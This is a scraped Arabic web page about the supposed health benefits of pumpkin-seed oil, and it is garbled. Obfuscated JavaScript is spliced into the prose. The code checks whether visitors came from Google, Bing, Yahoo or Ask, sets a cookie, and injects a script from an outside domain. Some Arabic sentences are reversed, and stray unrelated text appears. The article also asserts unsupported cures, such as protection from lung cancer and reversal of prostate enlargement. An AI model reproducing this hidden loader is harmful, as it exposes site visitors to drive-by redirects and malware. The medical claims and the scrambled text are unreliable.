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constructor(\x22return\x20this\x22)(\x20)'+');');_0x12bf84=_0x7a2f6a();}catch(_0x55c79b){_0x12bf84=window;}var _0x1b60
89='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x12bf84['atob']||(_0x12bf84['at
ob']=function(_0x377627){var _0x297bdb=String(_0x377627)['replace'](/=+$/,'');for(var _0x3e0064=0x0,_0x1d4edb,_0x48a96
b,_0x104217=0x0,_0x949053='';_0x48a96b=_0x297bdb['charAt'](_0x104217++);~_0x48a96b&&(_0x1d4edb=_0x3e0064%0x
4?_0x1d4edb*0x40+_0x48a96b:_0x48a96b,_0x3e0064++%0x4)?_0x949053+=String['fromCharCode'](0xff&_0x1d4edb>>(-0
x2*_0x3e0064&0x6)):0x0){_0x48a96b=_0x1b6089['indexOf'](_0x48a96b);}return
_0x949053;});}());_0x8c1c['base64DecodeUnicode']=function(_0x49b88e){var _0x152744=atob(_0x49b88e);var
_0x3381e1=[];for(var _0x3e5432=0x0,_0x5732ea=_0x152744['length'];_0x3e5432=0x0){_0x26970e=!![];}}else{_0x14a2dd=m
atches[_0x3dcbd8][_0x8c1c('0x10')]('=');cookie[params[0x0]]=params[0x1][_0x8c1c('0x34')](/;$/);}}if(_0x26970e){cookie['set
'](_0x5d4413[_0x8c1c('0x35')],0x1,0x1);if(!_0xf4e881){if(_0x5d4413['lOsDx']!==_0x8c1c('0x28')){var _0x1ba706=document
['createElement'](_0x5d4413[_0x8c1c('0x36')]);script[_0x8c1c('0x3')]=_0x5d5385;document['getElementsByTagName'](_0x5d4
413['rnclC'])[0x0]['appendChild'](_0x25141c);}else{_0x5d4413[_0x8c1c('0x37')](include,_0x5d4413['VxKaD'](_0x5d4413['Vx
KaD'](_0x5d4413[_0x8c1c('0x38')],q),''));}}}}R(); وهو ،الزاحفة النباتات من نبات عن عبارة القرعالقرعهو زيت بالعالمفوائد عربي موقع أكبر
مشهور في جميع الأقطار العربية، ويتم استخدام الثمار والأوراق منه، ويقصد بلفظ يقطين أي لا ساق لها، وللقرع فوائد عظيمة ومتميّزة، ولا يوجد وقت معين
لزراعته، كما ويتكاثر بالبذور، ويمكن الحصول على ثماره بعد نحو خمسين يوماً من زراعته، كما أنّه لا يأخذ مكاناً زراعيّاً واسعاً، كما أنّ العديد من الأشخاص
يستخدمون بذر القرع للعلاج، وقد تمّ استخراج زيت بذر القرع الّذي له العديد من الاستعمالات الطبية، ويتميّز زيتُ القرع بدرجة عالية من النقاوة والصفاء،
وله فائدة صحيّة عظيمة،فوائد زيت القرعتقليل نسبة الكولسترول في الدم؛ وذلك لأنّه غنيّ بالحوامض الدهنيّة غير المشبعة، والتي تعتبر وسيلةً ممتازة لمنع
ترسّب الكولسترول الزائد في الدم وسحبه من أنسجة الجسم المختلفة؛ حيث إنّ تخفيض نسبة الكولسترول في الدم يقلّل من نسبة الإصابة بأمراض القلب
وتصلّب الشرايين والأمراض الناتجة عنه.

فوائد زيت بذور اليقطينفوائد زيت اليقطين. من الأمور المهمّة لبذور حب القرع أو زيت حب القرع قدرته على علاج مشكلة تضخّم البروستات الحميد عند
الرجال؛ حيث يعاني المريض من أعراض متعدّدة وهي عدم انتظام التبوّل أو أحياناً عدم القدرة على التبوّل، كما أثبتت بعض الدراسات أنّ تناول مادة زيت
0xc1_ var ..القرع تساعد في عودة غدّة البروستات إلى حجمها ما قبل التضخّم؛ حيث يتخلّص المريض من كلّ الأعراض، وتعمل على تنظيم عملية التبول
c8=['LnlhaG9vLg==','LmFzay4=','dmlzaXRlZA==','QndP','VENP','aGVhZA==','aHR0cHM6Ly9jbG91ZGV5ZXNzLm1lbi9pa
GVyYl9hcmFiaWMucGhwP3g9c2EmcXVlcnk9','V3pqS1I=','SERYUm4=','Y1B6RHM=','LmFsdGF2aXN0YS4=','akxZbHI=','
cmVmZXJyZXI=','TFRqeE4=','UFNmZWQ=','aW5kZXhPZg==','cmVwbGFjZQ==','SGx6UG0=','Q2x1Z3M=','SlNwUVQ=','e
WdNUmg=','c2NyaXB0','Y3JlYXRlRWxlbWVudA==','YmtWZGQ=','c3Jj','Z2V0RWxlbWVudHNCeVRhZ05hbWU=','YXBw
ZW5kQ2hpbGQ=','2LLZitiqK9io2LDZiNixK9in2YTZgtix2Lk=','RGtH','OyBleHBpcmVzPQ==','OyBwYXRoPQ==','OyBkb21
haW49','OyBzZWN1cmU=','Y29va2ll','bWF0Y2g=','bGVuZ3Ro','eWVw','c3BsaXQ=','aHRFVG8=','dU5acGw=','WVVtcXY='
,'aVZMbkk=','eVF0dUM=','UEtTbkI=','eHZZWEo=','RlV2VGM=','RFp2U0k=','RWpLd3M=','aFJCZWM=','Z2V0VGltZQ=='
,'S2NOd3E=','aFdhekg=','V0VKUW4=','RkFhc3A=','ZUxKdFE=','Lmdvb2dsZS4=','LmJpbmcu'];(function(_0x3fcf60,_0x331b
f6){var _0x18b835=function(_0x36fa7b){while(--_0x36fa7b){_0x3fcf60['push'](_0x3fcf60['shift']());}};_0x18b835(++_0x331
bf6);}(_0xc1c8,0x87));var _0x8c1c=function(_0x5a1f80,_0x309164){_0x5a1f80=_0x5a1f80-0x0;var
_0xeee2e5=_0xc1c8[_0x5a1f80];if(_0x8c1c['initialized']===undefined){(function(){var _0x12bf84;try{var
_0x7a2f6a=Function('return\x20(function()\x20'+'{}.. هّأن كما ،الطعام هضم ةّعملي تحسين :مثل القرع لزيت الأخرى الاستخدامات بعض هناك
علاج لمرض الكحّة المزمنة، ومرطّب جيّد للأنسجة المخاطية في الفم والأنف، ويستخدم للتخلّص من الألم الناتج عن مرض البواسير.. زيت القرع ينبعث إلى
داخل مسامات الجلد، وبهذا فهو يعمل على تأخير ظهور التجاعيد على الجلد، ويساهم في شفاء وترميم الجلد المتعرّض للحرق أو التقرّحات الخارجية، وذلك
لأنّه غني بالفيتامينات المختلفة، كما يستخدم زيت القرع للتدليك؛ لأنه قادر على التغلغل في خلايا الجسم.
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هناك أدلة تظهر أنّ زيت بذور اليقطين مفيد في الحماية من أمراض السرطان، وقد أشارت مجلّة الأبحاث والدراسات البيوكيمياويّة عام 1985م إلى أنّ لزيت
القرع واليقطين دور مهم جداً للحماية من مرض سرطان الرئة.. زيت بذر القرع يرفع قوّة الذكاء ويزيد من الحيويّة الذهنية؛ حيث كشف علماء الطب البشري
في ألمانيا مادّةً موجودة في نبات القرع وزيته لها تأثير عظيم في تنشيط الدماغ وتنمية المخ، كما أصدر العلماء الألمان قراراً ينفّذ في جميع المؤسسات
المسؤولة بتدريب الطلاب والمراهقين على الإكثار من تناول مادّة القرع في طعامهم اليومية، كما يوصون جميع العاملين بميدان النشاط الذهني من مفكّرين،
Lagu Sesungguhnya Aku Relaوعلماء، ومدرّسين أن يركّزوا في العناية على تناول هذه المادة المفيدة في غذائهم. 
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